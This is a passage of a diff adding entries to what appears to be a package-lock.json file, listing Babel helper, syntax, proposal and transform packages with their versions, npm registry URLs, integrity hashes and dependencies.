427+ "engines": {
428+ "node": ">=6.9.0"
429+ }
430+ },
431+ "node_modules/@babel/helper-remap-async-to-generator": {
432+ "version": "7.27.1",
433+ "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.27.1.tgz",
434+ "integrity": "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA==",
435+ "license": "MIT",
436+ "dependencies": {
437+ "@babel/helper-annotate-as-pure": "^7.27.1",
438+ "@babel/helper-wrap-function": "^7.27.1",
439+ "@babel/traverse": "^7.27.1"
440+ },
441+ "engines": {
442+ "node": ">=6.9.0"
443+ },
444+ "peerDependencies": {
445+ "@babel/core": "^7.0.0"
446+ }
447+ },
448+ "node_modules/@babel/helper-replace-supers": {
449+ "version": "7.27.1",
450+ "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz",
451+ "integrity": "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==",
452+ "license": "MIT",
453+ "dependencies": {
454+ "@babel/helper-member-expression-to-functions": "^7.27.1",
455+ "@babel/helper-optimise-call-expression": "^7.27.1",
456+ "@babel/traverse": "^7.27.1"
457+ },
458+ "engines": {
459+ "node": ">=6.9.0"
460+ },
461+ "peerDependencies": {
462+ "@babel/core": "^7.0.0"
463+ }
464+ },
465+ "node_modules/@babel/helper-skip-transparent-expression-wrappers": {
466+ "version": "7.27.1",
467+ "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz",
468+ "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==",
469+ "license": "MIT",
470+ "dependencies": {
471+ "@babel/traverse": "^7.27.1",
472+ "@babel/types": "^7.27.1"
473+ },
474+ "engines": {
475+ "node": ">=6.9.0"
476+ }
477+ },
478+ "node_modules/@babel/helper-string-parser": {
479+ "version": "7.27.1",
480+ "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
481+ "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
482+ "license": "MIT",
483+ "engines": {
484+ "node": ">=6.9.0"
485+ }
486+ },
487+ "node_modules/@babel/helper-validator-identifier": {
488+ "version": "7.28.5",
489+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
490+ "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==",
491+ "license": "MIT",
492+ "engines": {
493+ "node": ">=6.9.0"
494+ }
495+ },
496+ "node_modules/@babel/helper-validator-option": {
497+ "version": "7.27.1",
498+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
499+ "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
500+ "license": "MIT",
501+ "engines": {
502+ "node": ">=6.9.0"
503+ }
504+ },
505+ "node_modules/@babel/helper-wrap-function": {
506+ "version": "7.28.3",
507+ "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.28.3.tgz",
508+ "integrity": "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g==",
509+ "license": "MIT",
510+ "dependencies": {
511+ "@babel/template": "^7.27.2",
512+ "@babel/traverse": "^7.28.3",
513+ "@babel/types": "^7.28.2"
514+ },
515+ "engines": {
516+ "node": ">=6.9.0"
517+ }
518+ },
519+ "node_modules/@babel/helpers": {
520+ "version": "7.28.4",
521+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",
522+ "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==",
523+ "license": "MIT",
524+ "dependencies": {
525+ "@babel/template": "^7.27.2",
526+ "@babel/types": "^7.28.4"
527+ },
528+ "engines": {
529+ "node": ">=6.9.0"
530+ }
531+ },
532+ "node_modules/@babel/parser": {
533+ "version": "7.28.5",
534+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",
535+ "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==",
536+ "license": "MIT",
537+ "dependencies": {
538+ "@babel/types": "^7.28.5"
539+ },
540+ "bin": {
541+ "parser": "bin/babel-parser.js"
542+ },
543+ "engines": {
544+ "node": ">=6.0.0"
545+ }
546+ },
547+ "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": {
548+ "version": "7.28.5",
549+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.28.5.tgz",
550+ "integrity": "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q==",
551+ "license": "MIT",
552+ "dependencies": {
553+ "@babel/helper-plugin-utils": "^7.27.1",
554+ "@babel/traverse": "^7.28.5"
555+ },
556+ "engines": {
557+ "node": ">=6.9.0"
558+ },
559+ "peerDependencies": {
560+ "@babel/core": "^7.0.0"
561+ }
562+ },
563+ "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": {
564+ "version": "7.27.1",
565+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.27.1.tgz",
566+ "integrity": "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA==",
567+ "license": "MIT",
568+ "dependencies": {
569+ "@babel/helper-plugin-utils": "^7.27.1"
570+ },
571+ "engines": {
572+ "node": ">=6.9.0"
573+ },
574+ "peerDependencies": {
575+ "@babel/core": "^7.0.0"
576+ }
577+ },
578+ "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
579+ "version": "7.27.1",
580+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.27.1.tgz",
581+ "integrity": "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA==",
582+ "license": "MIT",
583+ "dependencies": {
584+ "@babel/helper-plugin-utils": "^7.27.1"
585+ },
586+ "engines": {
587+ "node": ">=6.9.0"
588+ },
589+ "peerDependencies": {
590+ "@babel/core": "^7.0.0"
591+ }
592+ },
593+ "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
594+ "version": "7.27.1",
595+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.27.1.tgz",
596+ "integrity": "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw==",
597+ "license": "MIT",
598+ "dependencies": {
599+ "@babel/helper-plugin-utils": "^7.27.1",
600+ "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1",
601+ "@babel/plugin-transform-optional-chaining": "^7.27.1"
602+ },
603+ "engines": {
604+ "node": ">=6.9.0"
605+ },
606+ "peerDependencies": {
607+ "@babel/core": "^7.13.0"
608+ }
609+ },
610+ "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": {
611+ "version": "7.28.3",
612+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.28.3.tgz",
613+ "integrity": "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw==",
614+ "license": "MIT",
615+ "dependencies": {
616+ "@babel/helper-plugin-utils": "^7.27.1",
617+ "@babel/traverse": "^7.28.3"
618+ },
619+ "engines": {
620+ "node": ">=6.9.0"
621+ },
622+ "peerDependencies": {
623+ "@babel/core": "^7.0.0"
624+ }
625+ },
626+ "node_modules/@babel/plugin-proposal-class-properties": {
627+ "version": "7.18.6",
628+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
629+ "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
630+ "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.",
631+ "license": "MIT",
632+ "dependencies": {
633+ "@babel/helper-create-class-features-plugin": "^7.18.6",
634+ "@babel/helper-plugin-utils": "^7.18.6"
635+ },
636+ "engines": {
637+ "node": ">=6.9.0"
638+ },
639+ "peerDependencies": {
640+ "@babel/core": "^7.0.0-0"
641+ }
642+ },
643+ "node_modules/@babel/plugin-proposal-decorators": {
644+ "version": "7.28.0",
645+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.28.0.tgz",
646+ "integrity": "sha512-zOiZqvANjWDUaUS9xMxbMcK/Zccztbe/6ikvUXaG9nsPH3w6qh5UaPGAnirI/WhIbZ8m3OHU0ReyPrknG+ZKeg==",
647+ "license": "MIT",
648+ "dependencies": {
649+ "@babel/helper-create-class-features-plugin": "^7.27.1",
650+ "@babel/helper-plugin-utils": "^7.27.1",
651+ "@babel/plugin-syntax-decorators": "^7.27.1"
652+ },
653+ "engines": {
654+ "node": ">=6.9.0"
655+ },
656+ "peerDependencies": {
657+ "@babel/core": "^7.0.0-0"
658+ }
659+ },
660+ "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": {
661+ "version": "7.18.6",
662+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
663+ "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
664+ "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-nullish-coalescing-operator instead.",
665+ "license": "MIT",
666+ "dependencies": {
667+ "@babel/helper-plugin-utils": "^7.18.6",
668+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
669+ },
670+ "engines": {
671+ "node": ">=6.9.0"
672+ },
673+ "peerDependencies": {
674+ "@babel/core": "^7.0.0-0"
675+ }
676+ },
677+ "node_modules/@babel/plugin-proposal-numeric-separator": {
678+ "version": "7.18.6",
679+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
680+ "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
681+ "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-numeric-separator instead.",
682+ "license": "MIT",
683+ "dependencies": {
684+ "@babel/helper-plugin-utils": "^7.18.6",
685+ "@babel/plugin-syntax-numeric-separator": "^7.10.4"
686+ },
687+ "engines": {
688+ "node": ">=6.9.0"
689+ },
690+ "peerDependencies": {
691+ "@babel/core": "^7.0.0-0"
692+ }
693+ },
694+ "node_modules/@babel/plugin-proposal-optional-chaining": {
695+ "version": "7.21.0",
696+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz",
697+ "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==",
698+ "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-optional-chaining instead.",
699+ "license": "MIT",
700+ "dependencies": {
701+ "@babel/helper-plugin-utils": "^7.20.2",
702+ "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0",
703+ "@babel/plugin-syntax-optional-chaining": "^7.8.3"
704+ },
705+ "engines": {
706+ "node": ">=6.9.0"
707+ },
708+ "peerDependencies": {
709+ "@babel/core": "^7.0.0-0"
710+ }
711+ },
712+ "node_modules/@babel/plugin-proposal-private-methods": {
713+ "version": "7.18.6",
714+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
715+ "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
716+ "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-methods instead.",
717+ "license": "MIT",
718+ "dependencies": {
719+ "@babel/helper-create-class-features-plugin": "^7.18.6",
720+ "@babel/helper-plugin-utils": "^7.18.6"
721+ },
722+ "engines": {
723+ "node": ">=6.9.0"
724+ },
725+ "peerDependencies": {
726+ "@babel/core": "^7.0.0-0"
727+ }
728+ },
729+ "node_modules/@babel/plugin-proposal-private-property-in-object": {
730+ "version": "7.21.0-placeholder-for-preset-env.2",
731+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz",
732+ "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==",
733+ "license": "MIT",
734+ "engines": {
735+ "node": ">=6.9.0"
736+ },
737+ "peerDependencies": {
738+ "@babel/core": "^7.0.0-0"
739+ }
740+ },
741+ "node_modules/@babel/plugin-syntax-async-generators": {
742+ "version": "7.8.4",
743+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
744+ "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
745+ "license": "MIT",
746+ "dependencies": {
747+ "@babel/helper-plugin-utils": "^7.8.0"
748+ },
749+ "peerDependencies": {
750+ "@babel/core": "^7.0.0-0"
751+ }
752+ },
753+ "node_modules/@babel/plugin-syntax-bigint": {
754+ "version": "7.8.3",
755+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
756+ "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==",
757+ "license": "MIT",
758+ "dependencies": {
759+ "@babel/helper-plugin-utils": "^7.8.0"
760+ },
761+ "peerDependencies": {
762+ "@babel/core": "^7.0.0-0"
763+ }
764+ },
765+ "node_modules/@babel/plugin-syntax-class-properties": {
766+ "version": "7.12.13",
767+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
768+ "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
769+ "license": "MIT",
770+ "dependencies": {
771+ "@babel/helper-plugin-utils": "^7.12.13"
772+ },
773+ "peerDependencies": {
774+ "@babel/core": "^7.0.0-0"
775+ }
776+ },
777+ "node_modules/@babel/plugin-syntax-class-static-block": {
778+ "version": "7.14.5",
779+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
780+ "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
781+ "license": "MIT",
782+ "dependencies": {
783+ "@babel/helper-plugin-utils": "^7.14.5"
784+ },
785+ "engines": {
786+ "node": ">=6.9.0"
787+ },
788+ "peerDependencies": {
789+ "@babel/core": "^7.0.0-0"
790+ }
791+ },
792+ "node_modules/@babel/plugin-syntax-decorators": {
793+ "version": "7.27.1",
794+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.27.1.tgz",
795+ "integrity": "sha512-YMq8Z87Lhl8EGkmb0MwYkt36QnxC+fzCgrl66ereamPlYToRpIk5nUjKUY3QKLWq8mwUB1BgbeXcTJhZOCDg5A==",
796+ "license": "MIT",
797+ "dependencies": {
798+ "@babel/helper-plugin-utils": "^7.27.1"
799+ },
800+ "engines": {
801+ "node": ">=6.9.0"
802+ },
803+ "peerDependencies": {
804+ "@babel/core": "^7.0.0-0"
805+ }
806+ },
807+ "node_modules/@babel/plugin-syntax-flow": {
808+ "version": "7.27.1",
809+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.27.1.tgz",
810+ "integrity": "sha512-p9OkPbZ5G7UT1MofwYFigGebnrzGJacoBSQM0/6bi/PUMVE+qlWDD/OalvQKbwgQzU6dl0xAv6r4X7Jme0RYxA==",
811+ "license": "MIT",
812+ "dependencies": {
813+ "@babel/helper-plugin-utils": "^7.27.1"
814+ },
815+ "engines": {
816+ "node": ">=6.9.0"
817+ },
818+ "peerDependencies": {
819+ "@babel/core": "^7.0.0-0"
820+ }
821+ },
822+ "node_modules/@babel/plugin-syntax-import-assertions": {
823+ "version": "7.27.1",
824+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.27.1.tgz",
825+ "integrity": "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg==",
826+ "license": "MIT",
827+ "dependencies": {
828+ "@babel/helper-plugin-utils": "^7.27.1"
829+ },
830+ "engines": {
831+ "node": ">=6.9.0"
832+ },
833+ "peerDependencies": {
834+ "@babel/core": "^7.0.0-0"
835+ }
836+ },
837+ "node_modules/@babel/plugin-syntax-import-attributes": {
838+ "version": "7.27.1",
839+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.27.1.tgz",
840+ "integrity": "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==",
841+ "license": "MIT",
842+ "dependencies": {
843+ "@babel/helper-plugin-utils": "^7.27.1"
844+ },
845+ "engines": {
846+ "node": ">=6.9.0"
847+ },
848+ "peerDependencies": {
849+ "@babel/core": "^7.0.0-0"
850+ }
851+ },
852+ "node_modules/@babel/plugin-syntax-import-meta": {
853+ "version": "7.10.4",
854+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
855+ "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==",
856+ "license": "MIT",
857+ "dependencies": {
858+ "@babel/helper-plugin-utils": "^7.10.4"
859+ },
860+ "peerDependencies": {
861+ "@babel/core": "^7.0.0-0"
862+ }
863+ },
864+ "node_modules/@babel/plugin-syntax-json-strings": {
865+ "version": "7.8.3",
866+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
867+ "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
868+ "license": "MIT",
869+ "dependencies": {
870+ "@babel/helper-plugin-utils": "^7.8.0"
871+ },
872+ "peerDependencies": {
873+ "@babel/core": "^7.0.0-0"
874+ }
875+ },
876+ "node_modules/@babel/plugin-syntax-jsx": {
877+ "version": "7.27.1",
878+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.27.1.tgz",
879+ "integrity": "sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==",
880+ "license": "MIT",
881+ "dependencies": {
882+ "@babel/helper-plugin-utils": "^7.27.1"
883+ },
884+ "engines": {
885+ "node": ">=6.9.0"
886+ },
887+ "peerDependencies": {
888+ "@babel/core": "^7.0.0-0"
889+ }
890+ },
891+ "node_modules/@babel/plugin-syntax-logical-assignment-operators": {
892+ "version": "7.10.4",
893+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
894+ "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
895+ "license": "MIT",
896+ "dependencies": {
897+ "@babel/helper-plugin-utils": "^7.10.4"
898+ },
899+ "peerDependencies": {
900+ "@babel/core": "^7.0.0-0"
901+ }
902+ },
903+ "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": {
904+ "version": "7.8.3",
905+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
906+ "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
907+ "license": "MIT",
908+ "dependencies": {
909+ "@babel/helper-plugin-utils": "^7.8.0"
910+ },
911+ "peerDependencies": {
912+ "@babel/core": "^7.0.0-0"
913+ }
914+ },
915+ "node_modules/@babel/plugin-syntax-numeric-separator": {
916+ "version": "7.10.4",
917+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
918+ "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
919+ "license": "MIT",
920+ "dependencies": {
921+ "@babel/helper-plugin-utils": "^7.10.4"
922+ },
923+ "peerDependencies": {
924+ "@babel/core": "^7.0.0-0"
925+ }
926+ },
927+ "node_modules/@babel/plugin-syntax-object-rest-spread": {
928+ "version": "7.8.3",
929+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
930+ "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
931+ "license": "MIT",
932+ "dependencies": {
933+ "@babel/helper-plugin-utils": "^7.8.0"
934+ },
935+ "peerDependencies": {
936+ "@babel/core": "^7.0.0-0"
937+ }
938+ },
939+ "node_modules/@babel/plugin-syntax-optional-catch-binding": {
940+ "version": "7.8.3",
941+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
942+ "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
943+ "license": "MIT",
944+ "dependencies": {
945+ "@babel/helper-plugin-utils": "^7.8.0"
946+ },
947+ "peerDependencies": {
948+ "@babel/core": "^7.0.0-0"
949+ }
950+ },
951+ "node_modules/@babel/plugin-syntax-optional-chaining": {
952+ "version": "7.8.3",
953+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
954+ "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
955+ "license": "MIT",
956+ "dependencies": {
957+ "@babel/helper-plugin-utils": "^7.8.0"
958+ },
959+ "peerDependencies": {
960+ "@babel/core": "^7.0.0-0"
961+ }
962+ },
963+ "node_modules/@babel/plugin-syntax-private-property-in-object": {
964+ "version": "7.14.5",
965+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
966+ "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
967+ "license": "MIT",
968+ "dependencies": {
969+ "@babel/helper-plugin-utils": "^7.14.5"
970+ },
971+ "engines": {
972+ "node": ">=6.9.0"
973+ },
974+ "peerDependencies": {
975+ "@babel/core": "^7.0.0-0"
976+ }
977+ },
978+ "node_modules/@babel/plugin-syntax-top-level-await": {
979+ "version": "7.14.5",
980+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
981+ "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
982+ "license": "MIT",
983+ "dependencies": {
984+ "@babel/helper-plugin-utils": "^7.14.5"
985+ },
986+ "engines": {
987+ "node": ">=6.9.0"
988+ },
989+ "peerDependencies": {
990+ "@babel/core": "^7.0.0-0"
991+ }
992+ },
993+ "node_modules/@babel/plugin-syntax-typescript": {
994+ "version": "7.27.1",
995+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.27.1.tgz",
996+ "integrity": "sha512-xfYCBMxveHrRMnAWl1ZlPXOZjzkN82THFvLhQhFXFt81Z5HnN+EtUkZhv/zcKpmT3fzmWZB0ywiBrbC3vogbwQ==",
997+ "license": "MIT",
998+ "dependencies": {
999+ "@babel/helper-plugin-utils": "^7.27.1"
1000+ },
1001+ "engines": {
1002+ "node": ">=6.9.0"
1003+ },
1004+ "peerDependencies": {
1005+ "@babel/core": "^7.0.0-0"
1006+ }
1007+ },
1008+ "node_modules/@babel/plugin-syntax-unicode-sets-regex": {
1009+ "version": "7.18.6",
1010+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz",
1011+ "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==",
1012+ "license": "MIT",
1013+ "dependencies": {
1014+ "@babel/helper-create-regexp-features-plugin": "^7.18.6",
1015+ "@babel/helper-plugin-utils": "^7.18.6"
1016+ },
1017+ "engines": {
1018+ "node": ">=6.9.0"
1019+ },
1020+ "peerDependencies": {
1021+ "@babel/core": "^7.0.0"
1022+ }
1023+ },
1024+ "node_modules/@babel/plugin-transform-arrow-functions": {
1025+ "version": "7.27.1",
1026+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.27.1.tgz",
1027+ "integrity": "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA==",
1028+ "license": "MIT",
1029+ "dependencies": {
1030+ "@babel/helper-plugin-utils": "^7.27.1"
1031+ },
1032+ "engines": {
1033+ "node": ">=6.9.0"
1034+ },
1035+ "peerDependencies": {
1036+ "@babel/core": "^7.0.0-0"
1037+ }
1038+ },
1039+ "node_modules/@babel/plugin-transform-async-generator-functions": {
1040+ "version": "7.28.0",
1041+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.28.0.tgz",
1042+ "integrity": "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q==",
1043+ "license": "MIT",
